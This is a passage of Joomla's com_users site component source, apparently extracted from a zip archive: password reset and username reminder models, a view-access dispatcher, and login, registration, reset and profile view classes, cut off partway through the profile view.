        $user = User::getInstance($userId);

        $event = AbstractEvent::create(
            'onUserBeforeResetComplete',
            [
                'subject' => $user,
            ]
        );
        $app->getDispatcher()->dispatch($event->getName(), $event);

        // Check for a user and that the tokens match.
        if (empty($user) || $user->activation !== $token) {
            $this->setError(Text::_('COM_USERS_USER_NOT_FOUND'));

            return false;
        }

        // Make sure the user isn't blocked.
        if ($user->block) {
            $this->setError(Text::_('COM_USERS_USER_BLOCKED'));

            return false;
        }

        // Check if the user is reusing the current password if required to reset their password
        if ($user->requireReset == 1 && UserHelper::verifyPassword($data['password1'], $user->password)) {
            $this->setError(Text::_('JLIB_USER_ERROR_CANNOT_REUSE_PASSWORD'));

            return false;
        }

        // Prepare user data.
        $data['password']   = $data['password1'];
        $data['activation'] = '';

        // Update the user object.
        if (!$user->bind($data)) {
            return new \Exception($user->getError(), 500);
        }

        // Save the user to the database.
        if (!$user->save(true)) {
            return new \Exception(Text::sprintf('COM_USERS_USER_SAVE_FAILED', $user->getError()), 500);
        }

        // Destroy all active sessions for the user
        UserHelper::destroyUserSessions($user->id);

        // Flush the user data from the session.
        $app->setUserState('com_users.reset.token', null);
        $app->setUserState('com_users.reset.user', null);

        $event = AbstractEvent::create(
            'onUserAfterResetComplete',
            [
                'subject' => $user,
            ]
        );
        $app->getDispatcher()->dispatch($event->getName(), $event);

        return true;
    }

    /**
     * Receive the reset password request
     *
     * @param   array  $data  The data expected for the form.
     *
     * @return  mixed  \Exception | boolean
     *
     * @since   1.6
     * @throws  \Exception
     */
    public function processResetConfirm($data)
    {
        // Get the form.
        $form = $this->getResetConfirmForm();

        // Check for an error.
        if ($form instanceof \Exception) {
            return $form;
        }

        // Filter and validate the form data.
        $data   = $form->filter($data);
        $return = $form->validate($data);

        // Check for an error.
        if ($return instanceof \Exception) {
            return $return;
        }

        // Check the validation results.
        if ($return === false) {
            // Get the validation messages from the form.
            foreach ($form->getErrors() as $formError) {
                $this->setError($formError->getMessage());
            }

            return false;
        }

        // Find the user id for the given token.
        $db    = $this->getDatabase();
        $query = $db->getQuery(true)
            ->select($db->quoteName(['activation', 'id', 'block']))
            ->from($db->quoteName('#__users'))
            ->where($db->quoteName('username') . ' = :username')
            ->bind(':username', $data['username']);

        // Get the user id.
        $db->setQuery($query);

        try {
            $user = $db->loadObject();
        } catch (\RuntimeException $e) {
            return new \Exception(Text::sprintf('COM_USERS_DATABASE_ERROR', $e->getMessage()), 500);
        }

        // Check for a user.
        if (empty($user)) {
            $this->setError(Text::_('COM_USERS_USER_NOT_FOUND'));

            return false;
        }

        if (!$user->activation) {
            $this->setError(Text::_('COM_USERS_USER_NOT_FOUND'));

            return false;
        }

        // Verify the token
        if (!UserHelper::verifyPassword($data['token'], $user->activation)) {
            $this->setError(Text::_('COM_USERS_USER_NOT_FOUND'));

            return false;
        }

        // Make sure the user isn't blocked.
        if ($user->block) {
            $this->setError(Text::_('COM_USERS_USER_BLOCKED'));

            return false;
        }

        // Push the user data into the session.
        $app = Factory::getApplication();
        $app->setUserState('com_users.reset.token', $user->activation);
        $app->setUserState('com_users.reset.user', $user->id);

        return true;
    }

    /**
     * Method to start the password reset process.
     *
     * @param   array  $data  The data expected for the form.
     *
     * @return  mixed  \Exception | boolean
     *
     * @since   1.6
     * @throws  \Exception
     */
    public function processResetRequest($data)
    {
        $app = Factory::getApplication();

        // Get the form.
        $form = $this->getForm();

        $data['email'] = PunycodeHelper::emailToPunycode($data['email']);

        // Check for an error.
        if ($form instanceof \Exception) {
            return $form;
        }

        // Filter and validate the form data.
        $data   = $form->filter($data);
        $return = $form->validate($data);

        // Check for an error.
        if ($return instanceof \Exception) {
            return $return;
        }

        // Check the validation results.
        if ($return === false) {
            // Get the validation messages from the form.
            foreach ($form->getErrors() as $formError) {
                $this->setError($formError->getMessage());
            }

            return false;
        }

        // Find the user id for the given email address.
        $db    = $this->getDatabase();
        $query = $db->getQuery(true)
            ->select($db->quoteName('id'))
            ->from($db->quoteName('#__users'))
            ->where('LOWER(' . $db->quoteName('email') . ') = LOWER(:email)')
            ->bind(':email', $data['email']);

        // Get the user object.
        $db->setQuery($query);

        try {
            $userId = $db->loadResult();
        } catch (\RuntimeException $e) {
            $this->setError(Text::sprintf('COM_USERS_DATABASE_ERROR', $e->getMessage()));

            return false;
        }

        // Check for a user.
        if (empty($userId)) {
            $this->setError(Text::_('COM_USERS_INVALID_EMAIL'));

            return false;
        }

        // Get the user object.
        $user = User::getInstance($userId);

        // Make sure the user isn't blocked.
        if ($user->block) {
            $this->setError(Text::_('COM_USERS_USER_BLOCKED'));

            return false;
        }

        // Make sure the user isn't a Super Admin.
        if ($user->authorise('core.admin')) {
            $this->setError(Text::_('COM_USERS_REMIND_SUPERADMIN_ERROR'));

            return false;
        }

        // Make sure the user has not exceeded the reset limit
        if (!$this->checkResetLimit($user)) {
            $resetLimit = (int) Factory::getApplication()->getParams()->get('reset_time');
            $this->setError(Text::plural('COM_USERS_REMIND_LIMIT_ERROR_N_HOURS', $resetLimit));

            return false;
        }

        // Set the confirmation token.
        $token       = ApplicationHelper::getHash(UserHelper::genRandomPassword());
        $hashedToken = UserHelper::hashPassword($token);

        $user->activation = $hashedToken;

        $event = AbstractEvent::create(
            'onUserBeforeResetRequest',
            [
                'subject' => $user,
            ]
        );
        $app->getDispatcher()->dispatch($event->getName(), $event);

        // Save the user to the database.
        if (!$user->save(true)) {
            return new \Exception(Text::sprintf('COM_USERS_USER_SAVE_FAILED', $user->getError()), 500);
        }

        // Assemble the password reset confirmation link.
        $mode = $app->get('force_ssl', 0) == 2 ? 1 : (-1);
        $link = 'index.php?option=com_users&view=reset&layout=confirm&token=' . $token;

        // Put together the email template data.
        $data              = $user->getProperties();
        $data['sitename']  = $app->get('sitename');
        $data['link_text'] = Route::_($link, false, $mode);
        $data['link_html'] = Route::_($link, true, $mode);
        $data['token']     = $token;

        $mailer = new MailTemplate('com_users.password_reset', $app->getLanguage()->getTag());
        $mailer->addTemplateData($data);
        $mailer->addRecipient($user->email, $user->name);

        // Try to send the password reset request email.
        try {
            $return = $mailer->send();
        } catch (\Exception $exception) {
            try {
                Log::add(Text::_($exception->getMessage()), Log::WARNING, 'jerror');

                $return = false;
            } catch (\RuntimeException $exception) {
                $app->enqueueMessage(Text::_($exception->errorMessage()), 'warning');

                $return = false;
            }
        }

        // Check for an error.
        if ($return !== true) {
            return new \Exception(Text::_('COM_USERS_MAIL_FAILED'), 500);
        }

        $event = AbstractEvent::create(
            'onUserAfterResetRequest',
            [
                'subject' => $user,
            ]
        );
        $app->getDispatcher()->dispatch($event->getName(), $event);

        return true;
    }

    /**
     * Method to check if user reset limit has been exceeded within the allowed time period.
     *
     * @param   User  $user  User doing the password reset
     *
     * @return  boolean true if user can do the reset, false if limit exceeded
     *
     * @since    2.5
     * @throws  \Exception
     */
    public function checkResetLimit($user)
    {
        $params     = Factory::getApplication()->getParams();
        $maxCount   = (int) $params->get('reset_count');
        $resetHours = (int) $params->get('reset_time');
        $result     = true;

        $lastResetTime       = strtotime($user->lastResetTime) ?: 0;
        $hoursSinceLastReset = (strtotime(Factory::getDate()->toSql()) - $lastResetTime) / 3600;

        if ($hoursSinceLastReset > $resetHours) {
            // If it's been long enough, start a new reset count
            $user->lastResetTime = Factory::getDate()->toSql();
            $user->resetCount    = 1;
        } elseif ($user->resetCount < $maxCount) {
            // If we are under the max count, just increment the counter
            ++$user->resetCount;
        } else {
            // At this point, we know we have exceeded the maximum resets for the time period
            $result = false;
        }

        return $result;
    }
}
PK���\}�g��#com_users/src/Model/RemindModel.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_users
 *
 * @copyright   (C) 2010 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Users\Site\Model;

use Joomla\CMS\Factory;
use Joomla\CMS\Form\Form;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Log\Log;
use Joomla\CMS\Mail\MailTemplate;
use Joomla\CMS\MVC\Model\FormModel;
use Joomla\CMS\Router\Route;
use Joomla\CMS\String\PunycodeHelper;
use Joomla\Utilities\ArrayHelper;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * Remind model class for Users.
 *
 * @since  1.5
 */
class RemindModel extends FormModel
{
    /**
     * Method to get the username remind request form.
     *
     * @param   array    $data      An optional array of data for the form to interrogate.
     * @param   boolean  $loadData  True if the form is to load its own data (default case), false if not.
     *
     * @return  Form|bool A Form object on success, false on failure
     *
     * @since   1.6
     */
    public function getForm($data = [], $loadData = true)
    {
        // Get the form.
        $form = $this->loadForm('com_users.remind', 'remind', ['control' => 'jform', 'load_data' => $loadData]);

        if (empty($form)) {
            return false;
        }

        return $form;
    }

    /**
     * Override preprocessForm to load the user plugin group instead of content.
     *
     * @param   Form    $form   A Form object.
     * @param   mixed   $data   The data expected for the form.
     * @param   string  $group  The name of the plugin group to import (defaults to "content").
     *
     * @return  void
     *
     * @throws  \Exception if there is an error in the form event.
     *
     * @since   1.6
     */
    protected function preprocessForm(Form $form, $data, $group = 'user')
    {
        parent::preprocessForm($form, $data, 'user');
    }

    /**
     * Method to auto-populate the model state.
     *
     * Note. Calling getState in this method will result in recursion.
     *
     * @return  void
     *
     * @since   1.6
     *
     * @throws  \Exception
     */
    protected function populateState()
    {
        // Get the application object.
        $app    = Factory::getApplication();
        $params = $app->getParams('com_users');

        // Load the parameters.
        $this->setState('params', $params);
    }

    /**
     * Send the remind username email
     *
     * @param   array  $data  Array with the data received from the form
     *
     * @return  boolean
     *
     * @since   1.6
     */
    public function processRemindRequest($data)
    {
        // Get the form.
        $form          = $this->getForm();
        $data['email'] = PunycodeHelper::emailToPunycode($data['email']);

        // Check for an error.
        if (empty($form)) {
            return false;
        }

        // Validate the data.
        $data = $this->validate($form, $data);

        // Check for an error.
        if ($data instanceof \Exception) {
            return false;
        }

        // Check the validation results.
        if ($data === false) {
            // Get the validation messages from the form.
            foreach ($form->getErrors() as $formError) {
                $this->setError($formError->getMessage());
            }

            return false;
        }

        // Find the user id for the given email address.
        $db    = $this->getDatabase();
        $query = $db->getQuery(true)
            ->select('*')
            ->from($db->quoteName('#__users'))
            ->where('LOWER(' . $db->quoteName('email') . ') = LOWER(:email)')
            ->bind(':email', $data['email']);

        // Get the user id.
        $db->setQuery($query);

        try {
            $user = $db->loadObject();
        } catch (\RuntimeException $e) {
            $this->setError(Text::sprintf('COM_USERS_DATABASE_ERROR', $e->getMessage()));

            return false;
        }

        // Check for a user.
        if (empty($user)) {
            $this->setError(Text::_('COM_USERS_USER_NOT_FOUND'));

            return false;
        }

        // Make sure the user isn't blocked.
        if ($user->block) {
            $this->setError(Text::_('COM_USERS_USER_BLOCKED'));

            return false;
        }

        $app = Factory::getApplication();

        // Assemble the login link.
        $link = 'index.php?option=com_users&view=login';
        $mode = $app->get('force_ssl', 0) == 2 ? 1 : (-1);

        // Put together the email template data.
        $data              = ArrayHelper::fromObject($user);
        $data['sitename']  = $app->get('sitename');
        $data['link_text'] = Route::_($link, false, $mode);
        $data['link_html'] = Route::_($link, true, $mode);

        $mailer = new MailTemplate('com_users.reminder', $app->getLanguage()->getTag());
        $mailer->addTemplateData($data);
        $mailer->addRecipient($user->email, $user->name);

        // Try to send the password reset request email.
        try {
            $return = $mailer->send();
        } catch (\Exception $exception) {
            try {
                Log::add(Text::_($exception->getMessage()), Log::WARNING, 'jerror');

                $return = false;
            } catch (\RuntimeException $exception) {
                Factory::getApplication()->enqueueMessage(Text::_($exception->errorMessage()), 'warning');

                $return = false;
            }
        }

        // Check for an error.
        if ($return !== true) {
            $this->setError(Text::_('COM_USERS_MAIL_FAILED'));

            return false;
        }

        Factory::getApplication()->triggerEvent('onUserAfterRemind', [$user]);

        return true;
    }
}
PK���\%9�Z��'com_users/src/Dispatcher/Dispatcher.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_privacy
 *
 * @copyright   (C) 2024 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Users\Site\Dispatcher;

use Joomla\CMS\Component\ComponentHelper;
use Joomla\CMS\Dispatcher\ComponentDispatcher;
use Joomla\CMS\Router\Route;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * ComponentDispatcher class for com_privacy
 *
 * @since  4.4.10
 */
class Dispatcher extends ComponentDispatcher
{
    /**
     * Method to check component access permission
     *
     * @since   4.4.10
     *
     * @return  void
     */
    protected function checkAccess()
    {
        parent::checkAccess();

        $view = $this->input->get('view');
        $user = $this->app->getIdentity();

        // Do any specific processing by view.
        switch ($view) {
            case 'registration':
                // If the user is already logged in, redirect to the profile page.
                if ($user->get('guest') != 1) {
                    // Redirect to profile page.
                    $this->app->redirect(Route::_('index.php?option=com_users&view=profile', false));
                }

                // Check if user registration is enabled
                if (ComponentHelper::getParams('com_users')->get('allowUserRegistration') == 0) {
                    // Registration is disabled - Redirect to login page.
                    $this->app->redirect(Route::_('index.php?option=com_users&view=login', false));
                }
                break;

                // Handle view specific models.
            case 'profile':
                if ($user->get('guest') == 1) {
                    // Redirect to login page.
                    $this->app->redirect(Route::_('index.php?option=com_users&view=login', false));
                }
                break;

            case 'remind':
            case 'reset':
                if ($user->get('guest') != 1) {
                    // Redirect to profile page.
                    $this->app->redirect(Route::_('index.php?option=com_users&view=profile', false));
                }
        }
    }
}
PK���\3|��::&com_users/src/View/Method/HtmlView.phpnu�[���<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_users
 *
 * @copyright   (C) 2022 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Users\Site\View\Method;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * View for Multi-factor Authentication method add/edit page
 *
 * @since 4.2.0
 */
class HtmlView extends \Joomla\Component\Users\Administrator\View\Method\HtmlView
{
}
PK���\4[K�!!&com_users/src/View/Remind/HtmlView.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_users
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Users\Site\View\Remind;

use Joomla\CMS\Factory;
use Joomla\CMS\Language\Text;
use Joomla\CMS\MVC\View\GenericDataException;
use Joomla\CMS\MVC\View\HtmlView as BaseHtmlView;
use Joomla\CMS\Object\CMSObject;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * Remind view class for Users.
 *
 * @since  1.5
 */
class HtmlView extends BaseHtmlView
{
    /**
     * The Form object
     *
     * @var  \Joomla\CMS\Form\Form
     */
    protected $form;

    /**
     * The page parameters
     *
     * @var  \Joomla\Registry\Registry|null
     */
    protected $params;

    /**
     * The model state
     *
     * @var  CMSObject
     */
    protected $state;

    /**
     * The page class suffix
     *
     * @var    string
     * @since  4.0.0
     */
    protected $pageclass_sfx = '';

    /**
     * Method to display the view.
     *
     * @param   string  $tpl  The template file to include
     *
     * @return  void
     *
     * @since   1.5
     * @throws  \Exception
     */
    public function display($tpl = null)
    {
        // Get the view data.
        $this->form   = $this->get('Form');
        $this->state  = $this->get('State');
        $this->params = $this->state->params;

        // Check for errors.
        if (count($errors = $this->get('Errors'))) {
            throw new GenericDataException(implode("\n", $errors), 500);
        }

        // Check for layout override
        $active = Factory::getApplication()->getMenu()->getActive();

        if (isset($active->query['layout'])) {
            $this->setLayout($active->query['layout']);
        }

        // Escape strings for HTML output
        $this->pageclass_sfx = htmlspecialchars($this->params->get('pageclass_sfx', ''), ENT_COMPAT, 'UTF-8');

        $this->prepareDocument();

        parent::display($tpl);
    }

    /**
     * Prepares the document.
     *
     * @return  void
     *
     * @since   1.6
     * @throws  \Exception
     */
    protected function prepareDocument()
    {
        // Because the application sets a default page title,
        // we need to get it from the menu item itself
        $menu = Factory::getApplication()->getMenu()->getActive();

        if ($menu) {
            $this->params->def('page_heading', $this->params->get('page_title', $menu->title));
        } else {
            $this->params->def('page_heading', Text::_('COM_USERS_REMIND'));
        }

        $this->setDocumentTitle($this->params->get('page_title', ''));

        if ($this->params->get('menu-meta_description')) {
            $this->getDocument()->setDescription($this->params->get('menu-meta_description'));
        }

        if ($this->params->get('robots')) {
            $this->getDocument()->setMetaData('robots', $this->params->get('robots'));
        }
    }
}
PK���\!�rr,com_users/src/View/Registration/HtmlView.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_users
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Users\Site\View\Registration;

use Joomla\CMS\Document\HtmlDocument;
use Joomla\CMS\Factory;
use Joomla\CMS\Language\Text;
use Joomla\CMS\MVC\View\GenericDataException;
use Joomla\CMS\MVC\View\HtmlView as BaseHtmlView;
use Joomla\CMS\Object\CMSObject;
use Joomla\CMS\Plugin\PluginHelper;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * Registration view class for Users.
 *
 * @since  1.6
 */
class HtmlView extends BaseHtmlView
{
    /**
     * Registration form data
     *
     * @var  \stdClass|false
     */
    protected $data;

    /**
     * The Form object
     *
     * @var  \Joomla\CMS\Form\Form
     */
    protected $form;

    /**
     * The page parameters
     *
     * @var  \Joomla\Registry\Registry|null
     */
    protected $params;

    /**
     * The model state
     *
     * @var  CMSObject
     */
    protected $state;

    /**
     * The HtmlDocument instance
     *
     * @var  HtmlDocument
     */
    public $document;

    /**
     * Should we show a captcha form for the submission of the article?
     *
     * @var    boolean
     *
     * @since  3.7.0
     */
    protected $captchaEnabled = false;

    /**
     * The page class suffix
     *
     * @var    string
     * @since  4.0.0
     */
    protected $pageclass_sfx = '';

    /**
     * Method to display the view.
     *
     * @param   string  $tpl  The template file to include
     *
     * @return  void
     *
     * @since   1.6
     * @throws  \Exception
     */
    public function display($tpl = null)
    {
        // Get the view data.
        $this->form   = $this->get('Form');
        $this->data   = $this->get('Data');
        $this->state  = $this->get('State');
        $this->params = $this->state->get('params');

        // Check for errors.
        if (count($errors = $this->get('Errors'))) {
            throw new GenericDataException(implode("\n", $errors), 500);
        }

        // Check for layout override
        $active = Factory::getApplication()->getMenu()->getActive();

        if (isset($active->query['layout'])) {
            $this->setLayout($active->query['layout']);
        }

        $captchaSet = $this->params->get('captcha', Factory::getApplication()->get('captcha', '0'));

        foreach (PluginHelper::getPlugin('captcha') as $plugin) {
            if ($captchaSet === $plugin->name) {
                $this->captchaEnabled = true;
                break;
            }
        }

        // Escape strings for HTML output
        $this->pageclass_sfx = htmlspecialchars($this->params->get('pageclass_sfx', ''), ENT_COMPAT, 'UTF-8');

        $this->prepareDocument();

        parent::display($tpl);
    }

    /**
     * Prepares the document.
     *
     * @return  void
     *
     * @since   1.6
     * @throws  \Exception
     */
    protected function prepareDocument()
    {
        // Because the application sets a default page title,
        // we need to get it from the menu item itself
        $menu = Factory::getApplication()->getMenu()->getActive();

        if ($menu) {
            $this->params->def('page_heading', $this->params->get('page_title', $menu->title));
        } else {
            $this->params->def('page_heading', Text::_('COM_USERS_REGISTRATION'));
        }

        $this->setDocumentTitle($this->params->get('page_title', ''));

        if ($this->params->get('menu-meta_description')) {
            $this->getDocument()->setDescription($this->params->get('menu-meta_description'));
        }

        if ($this->params->get('robots')) {
            $this->getDocument()->setMetaData('robots', $this->params->get('robots'));
        }
    }
}
PK���\$Ŧh��%com_users/src/View/Reset/HtmlView.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_users
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Users\Site\View\Reset;

use Joomla\CMS\Factory;
use Joomla\CMS\Language\Text;
use Joomla\CMS\MVC\View\GenericDataException;
use Joomla\CMS\MVC\View\HtmlView as BaseHtmlView;
use Joomla\CMS\Object\CMSObject;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * Reset view class for Users.
 *
 * @since  1.5
 */
class HtmlView extends BaseHtmlView
{
    /**
     * The Form object
     *
     * @var  \Joomla\CMS\Form\Form
     */
    protected $form;

    /**
     * The page parameters
     *
     * @var  \Joomla\Registry\Registry|null
     */
    protected $params;

    /**
     * The model state
     *
     * @var  CMSObject
     */
    protected $state;

    /**
     * The page class suffix
     *
     * @var    string
     * @since  4.0.0
     */
    protected $pageclass_sfx = '';

    /**
     * Method to display the view.
     *
     * @param   string  $tpl  The template file to include
     *
     * @return  void
     *
     * @since   1.5
     */
    public function display($tpl = null)
    {
        // This name will be used to get the model
        $name = $this->getLayout();

        // Check that the name is valid - has an associated model.
        if (!in_array($name, ['confirm', 'complete'])) {
            $name = 'default';
        }

        if ('default' === $name) {
            $formname = 'Form';
        } else {
            $formname = ucfirst($this->_name) . ucfirst($name) . 'Form';
        }

        // Get the view data.
        $this->form   = $this->get($formname);
        $this->state  = $this->get('State');
        $this->params = $this->state->params;

        // Check for errors.
        if (count($errors = $this->get('Errors'))) {
            throw new GenericDataException(implode("\n", $errors), 500);
        }

        // Escape strings for HTML output
        $this->pageclass_sfx = htmlspecialchars($this->params->get('pageclass_sfx', ''), ENT_COMPAT, 'UTF-8');

        $this->prepareDocument();

        parent::display($tpl);
    }

    /**
     * Prepares the document.
     *
     * @return  void
     *
     * @since   1.6
     * @throws  \Exception
     */
    protected function prepareDocument()
    {
        // Because the application sets a default page title,
        // we need to get it from the menu item itself
        $menu = Factory::getApplication()->getMenu()->getActive();

        if ($menu) {
            $this->params->def('page_heading', $this->params->get('page_title', $menu->title));
        } else {
            $this->params->def('page_heading', Text::_('COM_USERS_RESET'));
        }

        $this->setDocumentTitle($this->params->get('page_title', ''));

        if ($this->params->get('menu-meta_description')) {
            $this->getDocument()->setDescription($this->params->get('menu-meta_description'));
        }

        if ($this->params->get('robots')) {
            $this->getDocument()->setMetaData('robots', $this->params->get('robots'));
        }
    }
}
PK���\)�s�99'com_users/src/View/Methods/HtmlView.phpnu�[���<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_users
 *
 * @copyright   (C) 2022 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Users\Site\View\Methods;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * View for Multi-factor Authentication methods list page
 *
 * @since 4.2.0
 */
class HtmlView extends \Joomla\Component\Users\Administrator\View\Methods\HtmlView
{
}
PK���\�nHjj%com_users/src/View/Login/HtmlView.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_users
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Users\Site\View\Login;

use Joomla\CMS\Factory;
use Joomla\CMS\Helper\AuthenticationHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\MVC\View\GenericDataException;
use Joomla\CMS\MVC\View\HtmlView as BaseHtmlView;
use Joomla\CMS\Object\CMSObject;
use Joomla\CMS\User\User;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * Login view class for Users.
 *
 * @since  1.5
 */
class HtmlView extends BaseHtmlView
{
    /**
     * The Form object
     *
     * @var  \Joomla\CMS\Form\Form
     */
    protected $form;

    /**
     * The page parameters
     *
     * @var  \Joomla\Registry\Registry|null
     */
    protected $params;

    /**
     * The model state
     *
     * @var  CMSObject
     */
    protected $state;

    /**
     * The logged in user
     *
     * @var  User
     */
    protected $user;

    /**
     * The page class suffix
     *
     * @var    string
     * @since  4.0.0
     */
    protected $pageclass_sfx = '';

    /**
     * No longer used
     *
     * @var    boolean
     * @since  4.0.0
     *
     * @deprecated  4.3 will be removed in 6.0
     *              Will be removed without replacement
     */
    protected $tfa = false;

    /**
     * Additional buttons to show on the login page
     *
     * @var    array
     * @since  4.0.0
     */
    protected $extraButtons = [];

    /**
     * Method to display the view.
     *
     * @param   string  $tpl  The name of the template file to parse; automatically searches through the template paths.
     *
     * @return  void
     *
     * @since   1.5
     * @throws  \Exception
     */
    public function display($tpl = null)
    {
        // Get the view data.
        $this->user   = $this->getCurrentUser();
        $this->form   = $this->get('Form');
        $this->state  = $this->get('State');
        $this->params = $this->state->get('params');

        // Check for errors.
        if (count($errors = $this->get('Errors'))) {
            throw new GenericDataException(implode("\n", $errors), 500);
        }

        // Check for layout override
        $active = Factory::getApplication()->getMenu()->getActive();

        if (isset($active->query['layout'])) {
            $this->setLayout($active->query['layout']);
        }

        $this->extraButtons = AuthenticationHelper::getLoginButtons('com-users-login__form');

        // Escape strings for HTML output
        $this->pageclass_sfx = htmlspecialchars($this->params->get('pageclass_sfx', ''), ENT_COMPAT, 'UTF-8');

        $this->prepareDocument();

        parent::display($tpl);
    }

    /**
     * Prepares the document
     *
     * @return  void
     *
     * @since   1.6
     * @throws  \Exception
     */
    protected function prepareDocument()
    {
        $login = $this->getCurrentUser()->get('guest') ? true : false;

        // Because the application sets a default page title,
        // we need to get it from the menu item itself
        $menu = Factory::getApplication()->getMenu()->getActive();

        if ($menu) {
            $this->params->def('page_heading', $this->params->get('page_title', $menu->title));
        } else {
            $this->params->def('page_heading', $login ? Text::_('JLOGIN') : Text::_('JLOGOUT'));
        }

        $this->setDocumentTitle($this->params->get('page_title', ''));

        if ($this->params->get('menu-meta_description')) {
            $this->getDocument()->setDescription($this->params->get('menu-meta_description'));
        }

        if ($this->params->get('robots')) {
            $this->getDocument()->setMetaData('robots', $this->params->get('robots'));
        }
    }
}
PK���\,�ܚ��'com_users/src/View/Profile/HtmlView.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_users
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Users\Site\View\Profile;

use Joomla\CMS\Factory;
use Joomla\CMS\Language\Text;
use Joomla\CMS\MVC\View\GenericDataException;
use Joomla\CMS\MVC\View\HtmlView as BaseHtmlView;
use Joomla\CMS\Object\CMSObject;
use Joomla\CMS\Plugin\PluginHelper;
use Joomla\CMS\Router\Route;
use Joomla\CMS\User\User;
use Joomla\Component\Users\Administrator\Helper\Mfa;
use Joomla\Database\DatabaseDriver;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * Profile view class for Users.
 *
 * @since  1.6
 */
class HtmlView extends BaseHtmlView
{
    /**
     * Profile form data for the user
     *
     * @var  User
     */
    protected $data;

    /**
     * The Form object
     *
     * @var  \Joomla\CMS\Form\Form
     */
    protected $form;

    /**
     * The page parameters
     *
     * @var  \Joomla\Registry\Registry|null
     */
    protected $params;

    /**
     * The model state
     *
     * @var  CMSObject
     */
    protected $state;

    /**
     * An instance of DatabaseDriver.
     *
     * @var    DatabaseDriver
     * @since  3.6.3
     *
     * @deprecated  4.3 will be removed in 6.0
     *              Will be removed without replacement use database from the container instead
     *              Example: Factory::getContainer()->get(DatabaseInterface::class);
     */
    protected $db;

    /**
     * The page class suffix
     *
     * @var    string
     * @since  4.0.0
     */
    protected $pageclass_sfx = '';

    /**
     * The Multi-factor Authentication configuration interface for the user.
     *
     * @var   string|null
     * @since 4.2.0
     */
    protected $mfaConfigurationUI;

    /**
     * Execute and display a template script.
     *
     * @param   string  $tpl  The name of the template file to parse; automatically searches through the template paths.
     *
     * @return  void|boolean
     *
     * @since   1.6
     * @throws  \Exception
     */
    public function display($tpl = null)
    {
        $user = $this->getCurrentUser();

        // Get the view data.
        $this->data               = $this->get('Data');
        $this->form               = $this->getModel()->getForm(new CMSObject(['id' => $user->id]));
        $this->state              = $this->get('State');
        $this->params             = $this->state->get('params');
        $this->mfaConfigurationUI = Mfa::getConfigurationInterface($user);
        $this->db                 = Factory::getDbo();

        // Check for errors.
        if (count($errors = $this->get('Errors'))) {
            throw new GenericDataException(implode("\n", $errors), 500);
        }

        // View also takes responsibility for checking if the user logged in with remember me.
        $cookieLogin = $user->get('cookieLogin');

        if (!empty($cookieLogin)) {
            // If so, the user must login to edit the password and other data.
            // What should happen here? Should we force a logout which destroys the cookies?
            $app = Factory::getApplication();
            $app->enqueueMessage(Text::_('JGLOBAL_REMEMBER_MUST_LOGIN'), 'message');
            $app->redirect(Route::_('index.php?option=com_users&view=login', false));

            return false;
        }

        // Check if a user was found.
        if (!$this->data->id) {
            throw new \Exception(Text::_('JERROR_USERS_PROFILE_NOT_FOUND'), 404);
        }

        PluginHelper::importPlugin('content');
        $this->data->text = '';
        Factory::getApplication()->triggerEvent('onContentPrepare', ['com_users.user', &$this->data, &$this->data->params, 0]);
        unset($this->data->text);

        // Check for layout from menu item.
        $active = Factory::getApplication()->getMenu()->getActive();

        if (
            $active && isset($active->query['layout'])
            && isset($active->query['option']) && $active->query['option'] === 'com_users'
            && isset($active->query['view']) && $active->query['view'] === 'profile'
        ) {
            $this->setLayout($active->query['layout']);
        }

        // Escape strings for HTML output
